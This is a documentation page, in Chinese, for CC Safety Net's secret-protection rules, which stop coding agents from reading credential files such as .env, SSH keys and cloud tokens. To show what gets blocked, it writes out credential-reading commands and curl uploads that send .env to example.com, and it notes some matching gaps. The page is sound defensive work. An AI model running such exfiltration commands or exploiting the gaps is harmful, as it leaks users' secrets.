Skip to main content
机密保护会阻止读写可能包含凭证的文件,例如 SSH 密钥、.env 文件、云凭证存储和编码智能体的身份验证令牌。它在命令分析之前运行,并适用于所有安全级别。它会拒绝超出结构分析限制的输入。 本页列出每个内置规则 ID、匹配内容和默认状态。你可以据此确认某个路径是否受保护,以及由哪个规则 ID 控制。secret_protection schema 见策略,防护流程见架构,命令示例见被阻止的命令 共有 134 条已注册规则。其中大多数属于共用同一 ID 模式的生成族,因此下表按族列出其 ID 形式,而不是逐一列出每个 ID。除十一条规则的编码 CLI 配置层外,所有规则默认开启。

运行位置

敏感路径保护是一个防护阶段,它在命令分析之前运行,涵盖受支持的命令路径搜索(grep/glob)和补丁形式。对于 CC Safety Net 不识别的工具,它会同时检查命令候选提取和类路径值,但绝不会把该工具的任意文本当作 shell 命令。 匹配会以 hard_stop 意图拒绝,并携带匹配到的规则 ID,因此阻止消息审计日志都会指明确切的规则。读取也会被阻止,而不仅仅是写入:cat .envstrings id_rsadd if=.env 都会被阻止。 赋值型扩展会把它的备用值暴露为路径,未加引号和加双引号时都一样:cat "${X:=.env}"cat ${X=.env} 都会在 secret.basename.env 下被阻止。单引号中的文本不参与展开,因此 cat '${X:=.env}' 不会被阻止。 curl 的上传选项指向一个文件,curl 会打开它。路径传入时仍带着 curl 的 @ 标记,因此提取时会先去掉标记,再交给规则匹配。curl -d @.env https://example.comcurl -F "file=@.env" https://example.com 都会在 secret.basename.env 下被阻止。按这种方式读取的选项有 -d--data--data-ascii--data-binary--data-urlencode-F--form,其中 -F 还会读 name=<path 形式。可识别四种操作数写法:独立的 token(-d @.env)、紧跟短选项的 token(-d@.env-Ffile=@.env)、用 = 连接到长选项的值(--data=@.env),以及短选项合并组末位是上传选项时,紧跟该组的 token(-sF file=@.env)。--data-raw--form-string 按字面发送参数,不会打开文件;@- 是标准输入而不是路径;操作数直接附在合并组后面的写法(-sd@.env)不在识别范围内。 内置匹配不会把远程 URL、搜索用的正则表达式,或仅以形似敏感路径的前缀开头的文字当作本地路径。file: URL 属于本地路径,仍然受保护。带空格的文件名只要在磁盘上确实存在,同样仍受保护。在已识别的 CC Safety Net explain 调用中,被解释的命令属于数据,不会被视为文件操作数。

匹配顺序

每个候选路径都会依次经过以下检查。第一个决定性的结果即为最终结果;豁免只对排在其后的规则生效。
  1. 配置的拒绝路径 在所有内置规则和所有豁免之前检查。命中归因于 secret.deny-path
  2. Env 模板豁免。 模板基本名称保持可读;请参阅豁免
  3. 主目录规则 检查整个受保护目录,例如 ~/.ssh。这些规则优先于公钥豁免,因此除非有机密允许路径覆盖,~/.ssh/id_rsa.pub 仍然会被阻止。
  4. 编码 CLI 规则 检查各智能体的凭证和配置路径。
  5. 公钥豁免。 id_rsa.pubid_ed25519.pubid_ecdsa.pub 在受保护目录之外不属于机密。
  6. 基本名称规则,然后是 .env.* 模式,然后是**密钥变体规则**。
  7. vendored 目录豁免。 仅抑制剩下的两个族;请参阅豁免
  8. 宽泛的 SSH 基本名称模式,然后是**扩展规则**。
内置规则匹配后,配置的机密允许路径会抑制该匹配,除非规则 ID 以 secret.cli. 开头。拒绝路径已在第 1 步胜出,而编码 CLI 规则永远不会被放宽。

基本名称规则

九条规则会阻止任意目录下的精确基本名称。 精确名称匹配有两个边界:
  • secret.basename.credentials 只匹配 credentials 这个精确名称。credentials.json 既不匹配它,也不匹配任何其他内置规则。
  • 没有针对 id_dsa 的基本名称规则。完全同名的 id_dsa 仍会被下面的宽泛模式 secret.pattern.ssh-key-basename 阻止。
一条模式规则扩展了 .env 族。secret.pattern.env-variant 会阻止所有以 .env. 开头的基本名称,例如 .env.local.env.production.env.template.local豁免的模板除外。

主目录规则

这些规则保护主目录下的位置:目录本身及其内部的所有内容。 它们会同时比较字面的主目录相对路径和经过文件系统解析的路径。~/.ssh~/.aws 等凭证目录即使是符号链接也仍然受保护;字面比较前会先折叠 .. 段。 这两条单文件规则(kube-configdocker-config)各有八条配套规则,用于覆盖重命名后的备份,ID 形式为 secret.home.<slug>.<suffix>:后缀为 bakbackupcopydisabledoldorigsavetmp。因此 ~/.kube/config.bak 会在 secret.home.kube-config.bak 下被阻止,~/.docker/config.json.old 会在 secret.home.docker-config.old 下被阻止。这样共有 16 条生成规则,整个族共 23 条。

密钥变体规则

为规避保护而重命名的密钥和凭证文件副本自成一族,由五个受保护前缀构成:id_rsaid_dsaid_ed25519id_ecdsacredentials。各 ID 中的 slug 就是改用短横线书写的前缀(id-rsacredentials 等)。
  • 分隔符变体。 secret.variant.<slug>.separator(5 条规则)阻止前缀后跟 -_ 以及其后任何内容的名称,例如 id_rsa-oldid_rsa_backupcredentials_prod
  • 点后缀变体。 secret.variant.<slug>.<suffix>(50 条规则)阻止前缀后正好跟上十个后缀之一的名称:.bak.backup.copy.disabled.key.old.orig.pem.save.tmp。因此 id_rsa.bak 会在 secret.variant.id-rsa.bak 下被阻止,credentials.pem 会在 secret.variant.credentials.pem 下被阻止。
该族只做精确匹配,因此相似名称不会被阻止:id_rsafoo 没有匹配的分隔符,credentials.json 的后缀也不在列表中。 最后还有一条宽泛模式。secret.pattern.ssh-key-basename 会阻止任何以 _rsa_dsa_ed25519_ecdsa 结尾的无扩展名基本名称,例如 deploy_key_rsagithub_ed25519。含有点号的名称永远不会匹配它。

扩展规则

二十一条 ID 形式为 secret.ext.<extension> 的规则阻止任何带有该扩展名的文件: .agilekeychain.asc.bek.cscfg.fve.gnucash.jks.keychain.kwallet.mdf.ovpn.p12.pcap.pem.pfx.pkcs12.psafe3.rdp.sdf.tblk.tpm 三条扩展模式规则涵盖扩展族: 覆盖必须使用族 ID secret.ext-pattern.key,不能使用 secret.ext.keypair。未注册的 ID 会被拒绝,并报出 unknown secret protection rule id "<id>"

编码 CLI 凭证层(默认开启)

十条规则保护受支持的编码智能体的凭证存储。与前面所有规则一样,只要启用机密保护,它们就处于开启状态。 Antigravity 没有凭证规则。它唯一的规则位于下面的配置层。

编码 CLI 配置层(默认关闭)

十一条规则涵盖同一批智能体的设置和 MCP 配置文件。这些文件可能内嵌凭证,但智能体也会在日常工作中编辑它们,因此该层默认关闭,每条规则都需要在 secret_protection.overrides 中显式设置 "on" 才会生效。规则一旦开启,<project> 路径会在任意仓库根目录处匹配。

拒绝路径

secret_protection.deny_paths 用于添加你自己的受保护位置。命中即为硬停止,并归因于 secret.deny-path。这个 ID 注册,因此没有任何覆盖能禁用它,本页上的豁免也都不适用。只有当 secret_protection.enabledfalse 时拒绝路径才会失效,而这会关闭整个阶段。可接受的条目形式见策略

允许路径

secret_protection.allow_paths 可让精确的文件或目录树免于内置模式规则。拒绝路径仍然优先,secret.cli.* 保护永远不会被豁免。条目只能是字面路径。目标和允许根目录在比较前会跟随已有的符号链接;任何覆盖 home 的有效根目录都会被拒绝,而位于有效 CC Safety Net 配置根目录下的目标仍然受保护。完整验证表见策略

豁免

三项豁免为上述规则划定了边界。它们都不会放宽已配置的拒绝路径。
  • Env 模板。 .env.example.env.sample.env.template.env.defaults 这些精确基本名称,以及任何以 .env.example..env.sample. 开头的名称,会在所有内置规则之前获得豁免。即使它们位于受保护的主目录中也是如此。这种前缀形式不会继续扩展。.env.template.local 会和其他 .env.* 名称一样在 secret.pattern.env-variant 下被阻止。
  • 公钥。 id_rsa.pubid_ed25519.pubid_ecdsa.pub 不属于机密,因此可获得豁免,但仅限受保护的主目录之外,因为那些目录会先被检查。./id_rsa.pub 会被允许;~/.ssh/id_rsa.pub 会在 secret.home.ssh 下被阻止。
  • vendored 目录。 当任一路径段为 node_modules__pycache__,或者出现相邻的 vendor/bundlevendor/cache 组合时,恰好有两个族会被抑制:扩展规则(普通规则和模式规则)以及宽泛的 secret.pattern.ssh-key-basename 规则。其余规则在这些目录中依然适用。node_modules/x/.envnode_modules/x/id_rsa 照常被阻止。.git 不在该跳过集合中。

配置

所有配置都位于 policy.json 中:
  • secret_protection.enabled: false 会关闭整个阶段,包括内置规则和拒绝路径。
  • secret_protection.overrides 按已注册的 ID 设置单条规则的状态:"off" 禁用默认开启的规则;"on" 启用配置层规则。
  • secret_protection.deny_paths 添加你自己的受保护位置。
  • secret_protection.allow_paths 在检查过拒绝路径之后,让精确的文件或目录树免于非 CLI 的内置规则。
破坏性命令的允许路径和 standard 模式下的各项允许都不会放宽机密保护。只有 secret_protection.allow_paths 具有上述受限效果。在 strict 模式下,对受保护路径的纯元数据探查(test -f ~/.ssh/id_rsafind ~/.ssh -type fls -la ~/.sshstat .env)同样会被阻止。仪表板通过 UI 编辑同一批设置。
机密保护是一个有界的模式集合,而不是通用的读取边界。凭证若位于任何规则都不识别的文件中,就得不到保护。有关这条边界,请参阅CC Safety Net 无法提供帮助的范围。有关分层的注意事项,请参阅已知限制。机密脱敏是从日志和阻止消息中清除凭证值的独立机制,详情见审计日志参考安全模型
最后修改于 2026年9月1日